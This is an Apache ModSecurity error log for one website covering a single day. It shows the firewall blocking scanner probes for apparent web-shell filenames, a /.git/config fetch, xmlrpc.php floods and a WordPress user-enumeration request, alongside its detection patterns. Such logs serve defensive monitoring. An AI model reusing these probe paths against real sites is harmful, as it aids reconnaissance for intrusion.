[Thu May 07 08:46:31.690307 2026] [:error] [pid 56150:tid 56152] [client 20.9.85.117:55544] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvg59u4duXJJeTigXTjKwAAAEA"]
[Thu May 07 08:46:32.074215 2026] [:error] [pid 56150:tid 56155] [client 20.9.85.117:55441] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "afvg6Nu4duXJJeTigXTjLQAAAEM"]
[Thu May 07 08:46:32.451312 2026] [:error] [pid 56150:tid 56165] [client 20.9.85.117:55460] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "afvg6Nu4duXJJeTigXTjMAAAAE0"]
[Thu May 07 08:46:32.832192 2026] [:error] [pid 56150:tid 56174] [client 20.9.85.117:55468] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "afvg6Nu4duXJJeTigXTjMgAAAFY"]
[Thu May 07 08:46:33.212834 2026] [:error] [pid 56150:tid 56163] [client 20.9.85.117:55240] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "afvg6du4duXJJeTigXTjNAAAAEs"]
[Thu May 07 08:46:33.596942 2026] [:error] [pid 56065:tid 56111] [client 20.9.85.117:55446] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "afvg6XdV4hYThdnhfxCuEgAAAI8"]
[Thu May 07 08:46:33.977975 2026] [:error] [pid 56150:tid 56171] [client 20.9.85.117:55532] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "afvg6du4duXJJeTigXTjOQAAAFM"]
[Thu May 07 08:46:34.370989 2026] [:error] [pid 56150:tid 56174] [client 20.9.85.117:55462] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "afvg6tu4duXJJeTigXTjPQAAAFY"]
[Thu May 07 08:46:34.750650 2026] [:error] [pid 56150:tid 56167] [client 20.9.85.117:55518] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "afvg6tu4duXJJeTigXTjPgAAAE8"]
[Thu May 07 08:46:35.141395 2026] [:error] [pid 56150:tid 56169] [client 20.9.85.117:55245] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z.php"] [unique_id "afvg69u4duXJJeTigXTjQQAAAFE"]
[Thu May 07 08:46:35.529366 2026] [:error] [pid 56150:tid 56161] [client 20.9.85.117:55445] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "afvg69u4duXJJeTigXTjQgAAAEk"]
[Thu May 07 08:46:35.918083 2026] [:error] [pid 56150:tid 56171] [client 20.9.85.117:55438] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "afvg69u4duXJJeTigXTjRgAAAFM"]
[Thu May 07 08:46:36.324091 2026] [:error] [pid 56066:tid 56124] [client 20.9.85.117:55412] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "afvg7EYS8DGwDvklLv53CAAAAME"]
[Thu May 07 08:46:36.697370 2026] [:error] [pid 56150:tid 56156] [client 20.9.85.117:55360] [client 20.9.85.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the.php"] [unique_id "afvg7Nu4duXJJeTigXTjSAAAAEQ"]
[Thu May 07 11:36:36.869164 2026] [:error] [pid 56150:tid 56152] [client 170.106.179.68:41508] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afwIxNu4duXJJeTigXQqfQAAAEA"]
[Thu May 07 11:57:14.792715 2026] [:error] [pid 1143:tid 1167] [client 195.178.110.241:49770] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "afwNmpb7qeI8X5VYRr5tPQAAARY"]
[Thu May 07 12:49:51.628904 2026] [:error] [pid 56064:tid 56089] [client 43.131.36.84:45022] [client 43.131.36.84] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afwZ7ysGkZZUEf_7QCMrEgAAABQ"]
[Thu May 07 13:19:33.614190 2026] [:error] [pid 1143:tid 1156] [client 172.202.28.4:12390] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "afwg5Zb7qeI8X5VYRr6MCwAAAQs"]
[Thu May 07 13:19:34.487500 2026] [:error] [pid 56066:tid 56125] [client 172.202.28.4:12393] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "afwg5kYS8DGwDvklLv6-GAAAAMI"]
[Thu May 07 13:19:35.291598 2026] [:error] [pid 56056:tid 56186] [client 172.202.28.4:16339] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "afwg5wMt_VAuBmZ2nR9nfQAAAVQ"]
[Thu May 07 13:19:36.169544 2026] [:error] [pid 56065:tid 56108] [client 172.202.28.4:12388] [client 172.202.28.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "afwg6HdV4hYThdnhfxDkcQAAAIw"]
[Thu May 07 13:33:15.225750 2026] [:error] [pid 56066:tid 56145] [client 125.163.63.60:58162] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkG0YS8DGwDvklLv7A2AAAANY"]
[Thu May 07 13:33:25.477252 2026] [:error] [pid 56150:tid 56153] [client 125.163.63.60:58616] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkJdu4duXJJeTigXRNSQAAAEE"]
[Thu May 07 13:33:35.954251 2026] [:error] [pid 56066:tid 56135] [client 125.163.63.60:59032] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkL0YS8DGwDvklLv7A4wAAAMw"]
[Thu May 07 13:33:46.474924 2026] [:error] [pid 56065:tid 56110] [client 125.163.63.60:59361] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkOndV4hYThdnhfxDmwQAAAI4"]
[Thu May 07 13:33:57.026984 2026] [:error] [pid 56066:tid 56136] [client 125.163.63.60:59686] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkRUYS8DGwDvklLv7A8QAAAM0"]
[Thu May 07 13:34:07.652413 2026] [:error] [pid 56065:tid 56105] [client 125.163.63.60:60024] [client 125.163.63.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.163.63.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afwkT3dV4hYThdnhfxDmzwAAAIk"]
[Thu May 07 14:06:01.807585 2026] [:error] [pid 56065:tid 56118] [client 175.27.163.171:33278] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afwryXdV4hYThdnhfxDrWwAAAJY"]
[Thu May 07 14:53:48.804816 2026] [:error] [pid 15630:tid 15668] [client 104.175.255.250:59974] [client 104.175.255.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.175.255.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afw2_HTithRAi4821quKCQAAAIg"]
[Thu May 07 14:53:59.125496 2026] [:error] [pid 15631:tid 15706] [client 104.175.255.250:60458] [client 104.175.255.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.175.255.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afw3B3vP1GkPUuuLfqUD6wAAANM"]
[Thu May 07 14:54:10.653828 2026] [:error] [pid 15631:tid 15698] [client 104.175.255.250:60938] [client 104.175.255.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.175.255.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afw3EnvP1GkPUuuLfqUD9QAAAMs"]
[Thu May 07 14:54:22.076909 2026] [:error] [pid 15629:tid 15654] [client 104.175.255.250:61336] [client 104.175.255.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.175.255.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afw3HvrIJCALdUrO43lR2AAAABU"]
[Thu May 07 14:54:32.724503 2026] [:error] [pid 15629:tid 15651] [client 104.175.255.250:61719] [client 104.175.255.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.175.255.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afw3KPrIJCALdUrO43lSDAAAABI"]
[Thu May 07 15:49:19.806209 2026] [:error] [pid 28098:tid 28112] [client 103.171.246.76:56595] [client 103.171.246.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.246.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxD_8vhwfljlt8trSqU8gAAAEw"]
[Thu May 07 15:49:29.464133 2026] [:error] [pid 28098:tid 28119] [client 103.171.246.76:55832] [client 103.171.246.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.246.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxECcvhwfljlt8trSqU9QAAAFM"]
[Thu May 07 15:49:40.024059 2026] [:error] [pid 28098:tid 28107] [client 103.171.246.76:55800] [client 103.171.246.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.246.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxEFMvhwfljlt8trSqU_gAAAEc"]
[Thu May 07 15:49:50.571495 2026] [:error] [pid 28098:tid 28123] [client 103.171.246.76:56316] [client 103.171.246.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.246.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxEHsvhwfljlt8trSqVDAAAAFc"]
[Thu May 07 15:50:01.094738 2026] [:error] [pid 15715:tid 15725] [client 103.171.246.76:56612] [client 103.171.246.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.171.246.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxEKSY4dZsLOttMkcdmXwAAAQg"]
[Thu May 07 16:00:29.064769 2026] [:error] [pid 15629:tid 15649] [client 136.158.70.225:22518] [client 136.158.70.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.70.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxGnfrIJCALdUrO43ldXQAAABA"]
[Thu May 07 16:00:36.537077 2026] [:error] [pid 28098:tid 28106] [client 136.158.70.225:22944] [client 136.158.70.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.70.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxGpMvhwfljlt8trSqYOAAAAEY"]
[Thu May 07 16:00:47.405205 2026] [:error] [pid 15631:tid 15698] [client 136.158.70.225:23493] [client 136.158.70.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.70.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxGr3vP1GkPUuuLfqUT8AAAAMs"]
[Thu May 07 16:00:57.666028 2026] [:error] [pid 15630:tid 15674] [client 136.158.70.225:24167] [client 136.158.70.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.70.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxGuXTithRAi4821quUggAAAI4"]
[Thu May 07 16:01:09.145477 2026] [:error] [pid 28098:tid 28113] [client 136.158.70.225:24710] [client 136.158.70.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.70.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxGxcvhwfljlt8trSqYWgAAAE0"]
[Thu May 07 17:06:02.431478 2026] [:error] [pid 28098:tid 28108] [client 46.11.174.173:59748] [client 46.11.174.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.11.174.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxV-svhwfljlt8trSquiwAAAEg"]
[Thu May 07 17:06:12.645856 2026] [:error] [pid 15631:tid 15692] [client 46.11.174.173:59763] [client 46.11.174.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.11.174.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxWBHvP1GkPUuuLfqUfuwAAAMU"]
[Thu May 07 17:06:23.583312 2026] [:error] [pid 15630:tid 15680] [client 46.11.174.173:57747] [client 46.11.174.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.11.174.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxWD3TithRAi4821qudxgAAAJQ"]
[Thu May 07 17:06:34.790489 2026] [:error] [pid 28098:tid 28113] [client 46.11.174.173:62889] [client 46.11.174.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.11.174.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxWGsvhwfljlt8trSquygAAAE0"]
[Thu May 07 17:06:45.719661 2026] [:error] [pid 15631:tid 15690] [client 46.11.174.173:62906] [client 46.11.174.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.11.174.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxWJXvP1GkPUuuLfqUf4gAAAMM"]
[Thu May 07 17:19:15.675799 2026] [:error] [pid 15715:tid 15721] [client 94.73.36.91:8785] [client 94.73.36.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.73.36.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxZEyY4dZsLOttMkcd6kAAAAQQ"]
[Thu May 07 17:23:17.540838 2026] [:error] [pid 15715:tid 15738] [client 94.73.36.91:8586] [client 94.73.36.91] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "afxaBSY4dZsLOttMkcd7XQAAARI"]
[Thu May 07 17:23:42.002947 2026] [:error] [pid 28098:tid 28122] [client 94.73.36.91:8503] [client 94.73.36.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.73.36.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxaHsvhwfljlt8trSq0NQAAAFY"]
[Thu May 07 17:24:01.307319 2026] [:error] [pid 28098:tid 28117] [client 94.73.36.91:8141] [client 94.73.36.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.73.36.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxaMcvhwfljlt8trSq0XgAAAFE"]
[Thu May 07 17:24:22.102784 2026] [:error] [pid 15629:tid 15646] [client 94.73.36.91:7674] [client 94.73.36.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.73.36.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxaRvrIJCALdUrO43llyQAAAA0"]
[Thu May 07 17:24:43.420992 2026] [:error] [pid 15631:tid 15711] [client 94.73.36.91:7583] [client 94.73.36.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.73.36.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxaW3vP1GkPUuuLfqUicAAAANg"]
[Thu May 07 17:33:04.739201 2026] [:error] [pid 15629:tid 15633] [client 43.153.54.138:33224] [client 43.153.54.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afxcUPrIJCALdUrO43lmYwAAAAA"]
[Thu May 07 17:59:45.753654 2026] [:error] [pid 28098:tid 28120] [client 121.52.158.248:62146] [client 121.52.158.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.52.158.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afxikcvhwfljlt8trSrBNwAAAFQ"]
